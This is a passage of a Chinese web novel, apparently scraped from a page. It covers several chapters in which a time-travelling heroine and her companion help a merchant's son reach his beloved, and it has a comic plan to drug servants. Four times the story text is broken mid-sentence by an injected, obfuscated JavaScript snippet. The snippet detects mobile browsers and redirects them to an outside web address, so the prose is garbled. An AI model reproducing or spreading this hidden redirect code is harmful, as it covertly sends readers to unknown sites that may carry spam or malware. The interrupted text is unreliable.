陆仁秉见那边二人如此仗义,当下便觉得心头一热,赶忙从小凳上跳起来冲着苏无虞与昭阳二人便自然地躬身作揖,“陆某今日有幸能结交到二位实属是三生有幸,纵是当下叫我再去河里游一遭也是值的,”他的语气真挚而真诚,就差挤出两滴泪来了,“只不过,此事谈何容易啊。” 昭阳倒是没什么,但苏无虞可是个正儿八经受着古代教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548147|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育的人,眼见着如此便也立马从圈椅上直起身子回以了一个同样的礼,“仁秉兄切莫这般客气,诚如昭阳所说,相见即是缘分,你且慢慢说说,兴许咱们人多还能出些主意。” 那厢陆仁秉听罢更是感动万分,招呼苏无虞坐下后自个儿也重又坐回了小板凳上,“不瞒二位,我家中世代行医为生,到了曾祖父那辈恰逢贵人提携便同时做起了些药材买卖,起初也只是小本生意哪知后来倒是逐渐有了起色,承蒙祖上庇佑,到了我父亲这辈不说什么名扬天下但好歹也算得上是京城中小有名气的药庄了。”说到这儿,他顿了顿,紧接着又不紧不慢地掏出一块同样是湿哒哒的帕子握于手中。 “事情还得从约莫半年前说起,那时我出门离京收些药材,却不料在这嘉诚县附近的山中遇了滑坡,冲没了货不说整个人也受了伤晕死过去。本以为小命就此便要交代了,哪知上苍眷顾,待我醒来时,却已被好心人收留照料了三日有余,而救我的,正是一位姑娘。”话说到这儿,只见陆仁秉的两颊悄然爬上两抹红晕。 “那姑娘姓姚名婉宁,真真是人如其名,生性良善温婉,家中靠做些小买卖糊口,那几日正逢家中父母和妹妹外出省亲,她见我当时就快不成了,这才大了胆子收留照料的。而后,朝夕相处之下……” 陆仁秉红透了脸支吾了起来,昭阳当下便明了了,这年轻男女嘛,又端的一个贤良淑德,一个温文敦实,而后便看对了眼暗生情愫也是情理之中的事,这在她这个新世纪女性看来除了狗血了点儿也没什么可害臊的,当下便冲着陆仁秉八卦地笑了笑,“俗话说的好,人不风流枉少年嘛,这喜结良缘是好事啊,你做什么羞成这样。” 经她这么一调侃,陆仁秉脸上的绯红更是烧到了耳朵,然嘴上只能附和道,“宋姑娘果然是与众不同,佩服佩服。” 昭阳听了倒也不以为意,还作势朝陆仁秉摆了摆手道了句哪里哪里,那厢苏无虞却是唇角飞扬地轻笑了笑,敢情他早就习惯了这位的语出惊人,现如今听起来竟也觉得无甚惊讶,与过往那些比起来,这几句可算是家常小炒般平凡了。 “唉,可叹天不遂人愿啊。”陆仁秉继续说起了他的爱情故事,“我伤愈后离开之时便答应了婉宁必将回来寻她,当日里她虽不知我的身份,只以为我是个落魄的书生,可我心中早已有了决心此次必将厚聘其过门,不好叫人家姑娘受了委屈。是故上月里我备足了聘礼便立马往嘉诚县赶,可谁知前两日我赶到之时,那势利眼的继母竟将我轰了出去,只道是婉宁叫那县老爷看上了,要纳其为妾,阿弥陀佛那县老爷长子都和我一般高了!” “你不是带足了聘礼吗?莫不是那黑心眼的继母还嫌少?”昭阳不解地举手发问。 话音刚落,但听陆仁秉又一阵意味深长的叹息,“哪能啊,唉,别提了,也不知这块地儿是不是和我八字犯冲,这回赶路来时山里头倒是太平了,可谁料半道竟遇了强盗,所幸小命得保,但这十来车的聘礼又全泡了汤,人家压根连见都没见上。” 听到这儿,昭阳脑后黑线密布,苏无虞嘴角微抽,这世上还真很少有人倒霉到这种程度,简直连想说几句安慰的话都显得无从下手。 …… 14. 厂花 这一日大清早,难得挨着大床的昭阳正在梦中和周公庄公齐桓公围着暖炉厮杀着四人麻将,眼见着激战正酣还差一块白板就要胡了十三幺,关键时刻即便是在梦中昭阳都觉神经紧绷,然而,就在她屏气凝神摸牌之际,不知哪来的连续几声巨响,生生惊得各位公们都起立左拐领盒饭去了。 究竟是哪个天杀的一大早就不安生地开始扰民了,尤带着起床气的昭阳立时跳起来穿戴整齐,须臾后,火冒三丈地一把拉开了房门。 意料之内,映入眼帘的果然是那倒霉催的路人丙。但见他正身背行囊,手中还提着个不算太大的木箱,此刻正肃然立在苏无虞紧闭的房门外。 “我说大清早的你不在客栈里睡觉,跑这儿来折腾什么呀。”心想昨夜已经被迫听了两个时辰他的凄美坎坷爱情故事及家族奋斗艰辛史,歇下的时候都不晓得几点了,以致于昭阳方才梳洗时朝着镜子一照,那熊猫眼活像是自己通宵打了一夜游戏似的,这会子才过了几个时辰,这人怎的又出现了。 而与昭阳的萎靡不振形成鲜明对比,那厢陆仁秉却是龙马精神,堪称活力值爆表,眼见着终于来了个活物,自动忽略对方脸上的嫌弃,赶忙乐呵地开始与她打起了招呼,“我这边正准备叫里头这位起床吃早点呢,昭阳妹子起的好生早,真真是宛若朝阳啊,年轻就是好。” 谁是你妹子啊,不过是大了几岁,整的他自己有多老似的,昭阳不禁暗暗在心中腹诽,若不是大早上有人爱扮闹铃扰人清梦,哪个会现在就起来啊,而且这位也不知是真傻还是故意的,究竟是谁生龙活虎的有眼睛都能看出来。 默默地吐槽完毕,昭阳这才有些狐疑地瞧了瞧陆仁秉这一身行头,“你带着这些东西是要做什么?” “这些啊,嘿嘿,不瞒你说,昨夜你回房后我还与无虞再唠嗑了一会子,我想来想去只觉得咱们投缘的很,不若就搬过来住得离你们近些,这不都是我的行李么,小二哥还没来得及理出空的厢房,我只好先提着了。”陆仁秉一脸相见恨晚的模样,这下昭阳可算是明白了,难怪一向勤劳到几乎闻鸡起舞的好好先生苏无虞今儿个睡得这么熟到现在还没爬起来,想来他昨天一晚上耳根子都没清净过吧。 想到这儿,昭阳不禁万分同情起了里头那位,估摸着他还没沾到枕头几个时辰,再瞧着眼前这位大哥似乎是铁了心要搬过来,只怕往后她和苏无虞的睡眠质量将会遭到很大程度的损害,这会子也就更不忍心把他叫醒,便冲着陆仁秉道,“且让他多睡会儿吧,你要是方便的话不如先将东西放我这间,回头再拿也是一样的。” 陆仁秉听罢先是一愣,而后神情颇有些歉然地点了点头,“还是妹子你思量得周全,想来他定是累了,也成,那就只得先叨扰你了。”说罢,便提着他的一众行李朝着昭阳的方向走来。 “你不是被打劫了吗?怎么还有这么多行李?” “这不是在这儿住下后又添的嘛。” “敢情那些强盗还给你留了傍身的银子?” “哪能啊,亏得我留了个心眼,两只鞋底各藏了一百两银票,他们压根找不着。” “……您真能耐。” “哪里哪里,小伎俩罢了。” “……我看咱们还是先去吃早点吧。”昭阳头回觉得和一个人聊天接话茬是件那么困难的事,心中不禁感叹,陆仁秉此男真乃神人也。 没一会儿,两人便一前一后下到了客栈一楼,随意地挑了个挨着窗户的桌子坐下后,早就饿得有点儿前胸贴后背的昭阳也顾不得许多,赶忙点了一碗小米粥和一个肉包子。 等待上菜的期间,那厢陆仁秉仍有一搭没一句的扯着与昭阳闲聊,内容嘛依旧是那些没什么营养的东西,但碍于实在是百般无聊,昭阳便也就这么漫不经心地听着,有时还不忘接上两句,直到对方突然颇为惊诧地咦了一声。 “奇怪,这不是萧大人嘛,怎的他会出现在这儿。”陆仁秉的目光落在窗外的大街上,似是自言自语地嘟囔了一句。 大人?这还是昭阳来到古代后头一回有缘见到个不是老百姓的角色,顿时来了兴致,便朝着陆仁秉的视线寻去,只见不是很宽阔的街道上十来匹枣红色蒙古马排成一字型正在缓步徐行。 马背上的人大都一身黑衣,唯有队伍最前头的人一袭绯红色官袍上以金线勾勒着五色祥云纹饰,镶着宝蓝色团花暗纹的宽大衣袖下一手执缰绳,一手握长剑,再看那一张五官清俊的脸上端的是一派威严肃穆之姿。 想来这便是陆仁秉口中的那位大人了,长得倒算是不错,昭阳暗暗肤浅地评价一番后,忍不住开口冲着旁边的人发问道,“你晓得这位大人?” “那是自然了,”陆仁秉颇为气定神闲地抿了口桌上的清茶,继而说道,“此乃皇城缉事司指挥同知萧天朗萧大人,别看只是从三品的官儿,但这缉事司可是直接听命于皇上的,专办朝中及宫中那些个棘手的案子,了不得着呢。” 这回昭阳一听可立马来了劲儿,这不就是和锦衣卫差不多性质的单位嘛,以前还真没少看关于锦衣卫的小说和电影,这里头可不各个都是武力值爆表的狠角色嘛,“那这缉事司还真是厉害。”她忍不住感叹道。 “可不是嘛,不过话说回来,这缉事司最厉害的还得算是现任钦差总督了,要说这位督主,那可传奇着呢。”陆仁秉见昭阳似是一副兴致勃勃的模样,立马也跟着侃了起来,“虽说才上任不到一年,但人那办事老道狠辣的手段可是闻名遐迩于整个京城的,不过,说起来也亏得督主这般做派,这一年来破获的大案真真是不在少数。” “听你这么说这督主倒是真挺能耐的,果然姜还是老的辣啊。”昭阳咬了一口热气腾腾的肉包,不禁赞叹道。 “什么呀,人督主姓江名画棠,不过二十有一的岁数,这都得算老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548148|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话那你陆大哥我岂不是都快入土的人了?”陆仁秉委屈地嘟囔了一句,也跟着舀起一勺白粥送到嘴边,但转而又跟想起了什么似的,继续说道,“对了,这江督主除了行事毒辣外,最为人津津乐道的还属他那张美如冠玉的俊脸了,据说几年前他还未坐到如今高位之时外出办差,还曾有两个官家公子为了人当街打了一架呢,想想,这连男人见了都爱的脸,得俊成什么样啊。” 没想到陆仁秉这人如此八卦,连这种小道的粉红色花边都打听,昭阳只觉对他的认识又更深了一步,但无可否认,陆仁秉的这番话也的确勾起了她心底蠢蠢欲动的好奇心。 锦衣卫、督主、美貌、男人都喜欢,这几个关键词连在一块儿怎么想都只能同时指向一个方向嘛,昭阳的脑海中瞬间浮现出如雨化田般高贵冷艳的妖孽脸,这位江督主该不会是现实版的厂花吧?想到这儿,昭阳忍不住脱口而出道,“这江督主……他该不会正好也是个太监吧?” 话音未落,那厢陆仁秉的反应却是出奇地大,刚送进口的一勺白粥差点没将他噎死,缓了好一会儿后,才见他立马喝了一口清茶似是压惊,转而将脑袋凑向昭阳的方向,压低了声音道,“慎言慎言,议论大官的事儿可做不得,你不是连缉事司都不晓得么,怎么会知道这个?” 这话便是坐实了那督主太监的身份,可到底是谁一直在干议论大官的事儿啊,不过昭阳略带着点无语的同时还是听话地不再继续太监这个话题。毕竟外头可是大刀阔斧的官大爷,这种戳人老板心窝的软肋,万一叫哪个忠心不二的员工听了去,还不得将她撕了?但话说回来,她的心中还是难免对这位素未谋面的督主更添了一份好奇。 “那督主长得真有这么好看?那和无虞比呢?”她将信将疑地发问,自从见了康复的苏无虞后,他那张脸早就刷新了昭阳心中对于帅哥的颜值上限,眼下自然也当人不二地成了衡量男子美貌的标杆。 “这我哪知道啊,那督主整个都神秘兮兮的,哪是咱这种平民百姓说见就见的,我也不过是听说罢了,不过说起咱们无虞老弟,那生得可是真俊俏,你大哥我也是头一回见男人还可以长得这般精致,还是妹子你有福啊。”陆仁秉言罢便自顾自地开始喝起来他剩下的白粥。 “哪跟哪啊,与我有何相干,喝你的粥。”莫名地提自己做甚么,昭阳默默在心中翻了个白眼。 哪知,那陆仁秉听罢倒也并不置气,反而贼兮兮地咧嘴笑了笑,“真与你没相干?瞧你俩昨日那眉来眼去的,怎么看都像是对新婚燕尔的小夫妻嘛,瞧你方才又那么顾他的身子,他晓得了定会觉得颇感欣慰的。” 昭阳听罢差点没瞬间拍案而起,哪能这么明目张胆地传别人绯闻的?然而,正当她准备将含在嘴里的一口茶喷在陆仁秉脸上时,却听得身后传来熟悉的喑哑男声。 “你们在聊什么聊得这般高兴?” …… 15. 许愿 小镇的客栈内,一个布衣长袍的少年举着一只白瓷杯微抿了一口清茶,沉默地静坐于木桌边上,而与之形成鲜明对比的,是一个同样高挑颀长的男子,但见他反手置于身后,脚上的步子一刻未歇地在不大的房里来回踱着。 这样的氛围不知维持了有多久,直到房外传来一阵细碎的脚步声,伴随着木门吱呀的响声,一脸疲惫的昭阳兴冲冲地推门而入,径直便朝着房中央空着的一张木凳的方向走去,“可累坏我了,那个大婶可真难缠,话不是一般的多,愣是和我扯了好半天”。 一旁的苏无虞见状,也不多话,只抄起杯子倒了满满一杯热茶递到昭阳跟前,“别急,慢慢说,先喝口茶。” 早就已经口干舌燥的昭阳也来不及道谢便将尤冒着热气的茶一饮而尽,这才像是缓过了些神,再瞥了一眼身旁双眼已呈星星状盯着自己的陆仁秉,转而不紧不慢地开口道,“我打听到了,据说刘老爷两日后正巧要替京里头来的那位萧大人送行,府里几个得力的也都跟着去,故而届时去姚家送聘礼的下人应该并不多,咱们正好可以趁机混进去。” 其实,原就是纳个小妾而已,下聘的环节那刘老爷本也就不打算整的有多隆重,再者现如今京里头的大官来了他们这偏远小镇,虽只是路过并不多作停留,但这种献媚巴结的好事儿精明的县太爷自是不会错过,此时哪还得空管你这些芝麻小事。 不过,这倒是给了陆仁秉一个大好的机会。三人商议下来,不管陆仁秉如何深情不寿,此时终还是不知女方心意究竟如何,只待确定俩人都是一样的心思,这才好想办法继续往下走,故而才派了昭阳出门,与那县太爷府上每日都负责外出采办的嬷嬷打听。 好在那嬷嬷是个心直口快好相与的,昭阳费了一番功夫便与她搭上了话,有一聊没一聊地也套出了这么点儿消息,也算是幸不辱命,否则可要派出苏无虞去找几个年轻的小丫鬟使使美男计什么的了,说实话,她听陆仁秉这么提议的时候心里头是有点儿小不爽的,这才自告奋勇地抢在他前头出马。 “这倒确是个好机会,只是咱们要混在下聘的队伍里混进姚家的宅子,怕也不是件易事。”苏无虞听了昭阳的话淡然道。 而一旁精神霎时振奋的陆仁秉听罢此时则是一副磨刀霍霍的模样,“这好说,我早就想过了,好在那些贼子只抢了那些值钱的东西,我这儿还有好几瓶药呢,挑一瓶可致幻的朝几个下人洒洒不就得了,到时候咱们再换上他们的衣服,那不就是以假乱真了嘛。” 此言一出,苏无虞与昭阳不约而同地感到嘴角微微抽搐了一下,知道你家是开药铺的但药也不是这么用的好吧,昭阳心中更是一阵感叹,这也就是在古代,要是搁在自己的时代这绝对是要蹲进去吃牢饭的。 不过,碍于时间紧迫,眼下也的确想不出比这更好的点子来,陆仁秉见桌边的两人似乎并没有要拒绝这个提议的样子,心情顿时一阵大好,“这回可真是赶巧了,多亏了那萧大人,早不来晚不来偏生这当口子来,甚好甚好。” “可不是,对了,我听茶棚里几个书生模样的人议论说这萧大人是刚办完案准备回京的,什么赈灾贪污案之类的,好像牵扯了挺多人,什么司农卿、户部侍郎还有地方防御使被抓的大小官员不下四十余人呢。”说到这儿,昭阳颇有兴致地将自己方才打探到的小道消息与大家一块儿分享。 “怎么,这案子竟到现在还没结,看来这回牵连真真甚广,我从京里出来的时候就已闹的满城风雨了,据说涉案的还有裴相爷家的二公子,这督主还真敢抓人。”陆仁秉不禁流露出一种难以置信的语气。 “品级那么高的官员都敢捉,这相爷家的一个公子怎的就抓不得?” 陆仁秉听罢昭阳的发问,看着她俨然是一副你太年轻果然很傻很天真的表情,转而语重心长地解释道,“这裴相爷乃两朝元老,官拜正一品,朝中势力自是不容小觑,而他家一共就三位公子。大公子裴赫素来身子健朗,曾任禁军都尉,一年前却突然暴毙于家中。二公子裴衍七岁能文,三年前以殿试头名入翰林,然当今皇上最恨徇私舞弊之风,这回卷入了此案怕是难再翻身。这么一来,这裴家一脉便是后继无人了,即便是鼎盛一时,怕也逃不了树倒猢狲散的结局,你说,若你是相爷你会善罢甘休么?” 话说的倒是有几分道理,可这其中显然还漏了什么,昭阳脱口便道,“不是有三个儿子吗?怎么就后继无人了。” “别提了,相传这三公子裴夙不仅相貌粗鄙,与他两位兄长相去甚远,打小还得了疯病整日里神志不清的,连出门见人都不成,这相府若是交给他,还不如直接倒了来的干脆呢。”陆仁秉言罢,还不忘顺道瞥了苏无虞一眼,“无虞老弟,你不是也曾在京城住过吗?你且说我讲的对不对?” 昭阳闻言也将目光投向静坐于一旁的苏无虞,但见他双眉紧锁,显然一副游离于他们对话之外的模样,谈话期间他一直都保持着三缄其口的沉默,这会子也不知自个儿在琢磨些什么,冷不防听到自己的名字,他先是微愣了一下,而后颇有些傻傻地点头道,“嗯,确有耳闻。” “我就说嘛,这事儿京里头谁不知道呀。”陆仁秉在听到自己的言论得到肯定后,心情更是大好,一边又迫不及待地朝着房门的方向踱去,“得,我先去准备准备后日的事,就先不打扰二位了。”言罢,便一脸贼笑着退了出去。 整个屋子霎时安静了下来,俩人相邻挨着,一时间竟都有些相对无言的味道,最终,还是昭阳先开了口,“无虞,你没事吧?是不是身子不舒服?那个,我……” “嗯?”此时的苏无虞早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548149|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就从方才的恍惚状态里回过了神,见昭阳说着话突然犹豫了起来,禁不住出了声。 其实,从今儿个早上见他时昭阳便发现苏无虞的咳疾似乎比之先前又重了些,这倒也不奇怪,他的身子本就不算好,再加上昨夜入水着了凉,愣是她这样体质如牛般的怕也要招架不住,为怕这病情再恶化,昭阳便趁着方才上街的当口去药铺添置了些药材。 本是件乐于助人的好事,但也不知怎的,昭阳说着说着便觉得有些别扭,只觉得自己的脸颊好像有些微烫的异样,这莫名其妙地也不知在娇羞个什么劲儿。不过,即便如此,面上她还是故作淡定地从怀里掏出了一个用细线捆得方正的纸包搁置于木桌上,“我这里买了些可治咳疾的药,回头让小二哥煮了,你喝一点吧,兴许会舒服些。” 苏无虞瞅了一眼桌上的纸包,稍愣了片刻后,嘴角微微勾起了一抹上扬的弧度,“可巧了,我方才也置了样东西准备给你。”说着,便起身朝着角落里的一个小矮几走去。 昭阳有些摸不着头脑地紧盯着苏无虞的方向,但见他取了一个小盒子搁在桌上,再往里头一瞧,竹编的托盘上头赫然摆着一朵纸质的莲花,交叠盛放的六片妃色花瓣中央还有一截小小的白蜡烛耷拉着还未点燃的灯芯。 “今儿个不是已过了十五吗?你上哪儿找的这荷灯?”昭阳喜不胜收,她最爱的便是这些新奇的东西,这会儿两手直扒着那盒子的边缘瞧了再瞧。 瞧她见了荷灯便乐呵成这样,苏无虞心下也跟着松了口气,先前还怕她早忘了或是不喜欢这小玩意呢,“我打听了那卖荷灯的婆婆住处,就在这镇上,不远的。昨儿个没料到会出乱子,你若是高兴的话,今晚我便陪你去将它放了吧。” 这句话自然是正中昭阳的下怀,她一边手捧着小小的荷灯,一边期待地频频点头,是故待到天色刚放暗,她便迫不及待地拉了苏无虞朝着河边走去。 兴许是因为冬日里摊贩们都早早回了家,又没赶上什么特殊的日子,今夜县城的河道边上整个都没了昨日那般的热闹,不过倒也显得清静不少。 俩人一路沿着河道走了一会儿,终于瞧见了一处水埠头,便循着台阶踱步而下,“喝过药了吗?”昭阳率先打破了安静的氛围,说来也怪,最近他们俩只要一碰到单独相处,似乎经常会出现这般诡异的沉默。 “嗯,出门前喝过了,亏得你的药,眼下舒服多了。”苏无虞边从怀里掏出了火折子将灯上的蜡烛点燃,边回头朝紧挨着蹲在他身边的昭阳浅浅地笑了笑,“好了,快许愿吧,仔细一回头漂远了可就不灵了。” 昭阳本来正在瞧着身旁人笑得风光霁月的侧脸出神,经他这么一说,微愣了一下二话没说便忙不迭地呈双手合十状。 嗯,可是许什么愿好呢? …… 16. 女子 水道两岸沿街的屋檐下,一只只略显得有些破旧的纸灯笼仍在夜色下竭力散发着微弱的朦胧光华。 一阵凛冽的寒风悄然卷过河面,带起层层叠叠的涟漪推涌着水波向前,昭阳望着河面上那盏孤零零的荷灯,此刻它正载着一点火光缓缓漂向远方,纵使微弱,但所到之处无不渐渐照亮了黑暗中小小的一方天地,不知怎的,她的心中也莫名升腾起一股希望来。 其实,她的愿望很简单,希望自己远在那个世界的父母在往后的岁月中,即便没有自己陪伴身边,也可以依旧过着健康安乐的生活,这个愿望,应该能实现的吧。 想到这儿,昭阳的鼻子又是一酸,眼睛也连带着有些涩涩地疼,来到这儿也有一阵子了,可每每想起父母时,她总还是会忍不住哭鼻子。这个毛病怕是多久都改不了了,毕竟曾经亲厚无比的双亲一下子就变成了遥不可及的梦,无论她还能在这儿活多少年,这都会是她这一辈难以割舍的遗憾。 “怎么了?哪里不舒服吗?”熟悉的声音打破了昭阳的思绪,一侧首,便见身边人衣袂翩跹地静立于夜色中,那一双不染纤尘的眸子正紧张地凝望着自己,再看他微微蹙起的眉头,昭阳忽然觉得自己并没有想象中那么不幸,起码在这个陌生的世界,她也依旧不是一个人。 为了掩饰自己一不小心流露出的情绪,昭阳赶忙用一只手揉了揉眼睛,另一只手朝着苏无虞摆了摆,“没事没事,方才有什么东西吹进眼睛了,这会子差不多好了。”说罢,还不忘冲着他挤出一个笑脸。 身边的人见状只轻应了一声,便重新将视线烙向了漆黑的河面,半响,昭阳才听得他出声,“昭阳,你知道吗,在这世上我曾有过两个至亲的人,一个是娘亲,一个是哥哥,不过,他们在短短一年内都相继离开了我。”苏无虞的声音听不出丝毫情绪。 “嗯?哥哥?”昭阳有些狐疑地反问,这似乎从未听他提起过。 “没错,和我一起来到人世的,还有一个孪生哥哥。从我记事起,家里的状况就很不好,糊口都难,那时我与哥哥都还小,只靠娘亲做点针线卖钱,娘仨经常是有了上顿没下顿,但娘亲却也从未想过抛下我们再嫁。”他顿了顿,继续说道,“直到有一天,娘亲的一位故交妇人来家中探望我们,说是城里有户人家的正房太太多年无所出想寻个乖巧懂事的孩子过继,那时家里已经揭不开锅了,娘亲根本已经负担不起两个儿子的起居了,而我的身子打小便弱了些,挣扎再三,最终她还是将哥哥交给了那妇人。” 昭阳听到这儿,已是满腹心酸,只得安慰道,“你娘亲一定也是希望你和你哥哥都能过上好日子,她是爱你们的。” “嗯,我知道。”他淡淡道,“可谁知那妇人家里早些年生意失败,来时便起了歹心,娘亲知道这事后抱着我满县城地找,可哪还有哥哥的影子,为着这事她便终日以泪洗面,加上那些年一个人带着我们兄弟俩,她的身子早就亏空得差不多了,不到七个月,便就这么没了。” 他的声音轻颤,但很快又恢复了方才的平和,“昭阳,其实我的痛并不比你少,无论是生别离还是死别离,都来的太过残酷。但我们又能如何呢,昨日种种譬如昨日死,今日种种譬如今日生,既然那些都是深爱着我们的人,除了好好活下去外,还有什么是我们能为他们做的吗?” 听到这儿,昭阳可算是全明白了,原来苏无虞饶了这么大个圈子,还不惜揭了自己的伤疤,全是为了安慰她一时的思乡之情。再看他那隐于袖中握成拳的双手,赫然是在微微颤抖,昭阳再也忍不住,伸手便将自己的双手轻覆于其上,“嗯,我懂了,谢谢你,无虞。” 这不摸还不知道,他的手竟是出奇的冷,且不知是因为受凉还是别的,昭阳只觉自己碰到他的瞬间他似乎还激灵了一下,“我怎么觉着外头冷得很,既然灯也放完了,不如咱们回客栈去吧?”昭阳讪讪地笑了笑,一边悄无声息地将手收了回来。 怪只怪苏无虞当时的样子太过秀色可餐,说的话又那么直捣人心,她才会不自觉地揩了一把油,昭阳在心中暗暗为自己辩驳。而一旁难得说了这么一长串话的苏无虞也立马恢复了他平日里少言寡语的淡薄性子,只轻应了一声便与昭阳一同朝着来时的方向走去。 一时之间,好不容易炒热的气氛霎时又冷了下去,走了一阵子,为免继续尴尬下去,又怕他一个人不出声又想起从前的伤心事儿,昭阳只得有一搭没一搭地与苏无虞聊了起来,“你方才许愿了吗?” “嗯,许了。”苏无虞先是愣了愣,转而微微垂首点了点头。 “那就好,愿望实现之前你可千万不能把它说出来,不然会不灵的。”昭阳冲着他莞尔笑了笑,这人有时候太过实诚了,自己还是要提醒提醒他的,“不过你放心,像你这么好的人,一定会心想事成的,你的愿望马上就会实现的。” 苏无虞听罢,禁不住抬头瞥了昭阳一眼,但见她笑得真挚而无害,“嗯,我,我也这么希望。”说着,他便又将头朝下埋了埋,旋即加快了脚步,不再理会昭阳。 这莫名的一出让昭阳摸不着半点儿头脑,方才不是还说的比谁都溜嘛,怎么一会儿又结巴起来了,谁说只有女人心是海底针的,唉,昭阳撇了撇嘴,只好万般无奈地追上了他的背影。 就这样,带着满肚子疑惑的昭阳始终都没弄明白这个中原委,而日子倒是过得飞快,眨眼便是陆仁秉翘首以盼的日子了。 碍着送聘的队伍里除了几个上了年纪的嬷嬷外并无年轻的婢女,且这回只是意在让陆仁秉与姚婉宁见上一面,着实也无须太多人,故而昭阳便留在了客栈等消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548150|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只让苏无虞跟着陆仁秉一道去。 既然没什么能做的,昭阳自然也就乐得清闲,大清早送走了两个准备去鱼目混珠的男人后,她便悠哉地回到自己的房间里准备睡个美美的回笼觉。 反正县老爷也不在府里,队伍里都是些寻常的家丁,且昨儿夜里陆仁秉便给了苏无虞一包不知什么玩意儿,说是紧要关头朝那些人一撒就能完事开溜,虽然很想吐槽这位奇葩的药庄富二代,但他这么一来,倒是让昭阳本还存有的那点担心消去了大半,故而最终她还是识相地赞叹了一番陆仁秉未雨绸缪的机智。 不过,也不知怎的,平日里一沾到枕头便能着的昭阳这会子竟怎么也睡不踏实,翻了好几个身才渐渐有了些睡意,且待她醒来一瞧,左不过也就眯了一个时辰罢了。躺了又躺,实在是无聊得紧,昭阳便懒懒地起了身,用清水抹了把脸后开门朝外头瞅了瞅,却见隔壁间房门紧闭,里头依旧是静悄悄的。 这下她不免又有些莫名忧心起来,不就是去送点东西嘛,这都过了午时了,按理说也应该回了,不会真出什么事吧。闲到极致的昭阳此时忍不住臆想起来,万一那县老爷杀个回马枪发现队伍里混进了人,且那人竟还打着算盘要偷他未过门的美妾,那还不得赶紧活捉了扔进牢里抽个几鞭子? 越想越觉得坐立不安,所幸昭阳听陆仁秉提起过那姚家小院的位置,距离他们住的地方并不很远,她一个人晃出了客栈后便一路走走停停,不知不觉中,视线里便出现了一间被车马围绕得有些水泄不通的小屋,料想便是目的地了。 不过,昭阳此刻总是不便现身的,于是便装作看热闹的路人挨着几个大婶一块儿退居街道一旁的角落,如此又等了两刻钟左右,这才见不大的门里头陆陆续续涌出了十来个穿着褐色粗布麻衣的人。 虽说都是清一色的家丁服,但昭阳一眼望去便瞧见了队伍最后头此刻正微低着头站立的俩人,这回才算是放了心,看来一切进展得应当还算顺利。 昭阳微舒了一口气,既然确定了苏无虞他们安全她便准备悄悄溜回客栈了,免得被那眼尖的陆仁秉瞧见了又得被莫名其妙地调侃一番。不过,其实这回她也开始有些不懂自己了,什么时候她变成这般婆婆妈妈的人了,按照自己往日的作风,这会子难道不是应该在客栈里头乐呵地点几个小菜尝着嘛。 然而,正当昭阳一边腹诽着一边在人群里晃悠时,却听得不远处传来一道婉转娇羞的女声,“那位小哥,还请留步。” 循着那声音望去,但见一个身着鹅黄色布罗裙的少女站在小院门口,左不过十五六岁的年纪,那女子在与身边站着的一对中年夫妇耳语了几句后,就朝着家丁队伍小步上前。 而应声驻足回首望向那女子的,便是走在最后头的少年。 …… 17. 别扭 夜色笼罩着整个繁华的小镇,街上尽是下了工后匆匆往回赶的人们,酒肆里的伙计两手端着快要装不下的餐盘来回忙碌着,路边的羊肉面馆热气腾腾,老板一边招呼着行色匆匆的客人一边还不忘卖力地吆喝着。 没办法,一到了饭点上,满城尽是香饽饽。这要放在平时,身为一个标准吃货的昭阳早该整装出发到镇上某个小角落里和各色美食战个痛快了,不过,今儿个却是例外,此刻的她哪儿都不想去,只想躺在床上做个安静的美男子。 回想起几个时辰前姚家小院门口的一幕,她就觉得心里莫名的烦躁。黄衫少女轻移莲步,袅袅婷婷地走到了苏无虞跟前,一边以袖覆面璀然一笑,一边将手里头的一个锦囊递给了他,期间还不忘低眉垂目地说了些什么,碍于距离太远昭阳完全听不到对话内容。 一头是长身玉立俊俏少年,一头是款步姗姗娇羞美眷,倘若抛开一切杂念不论,这样的一对儿还算是挺般配的,昭阳脑子里虽这么想,但心下却是别扭极了。 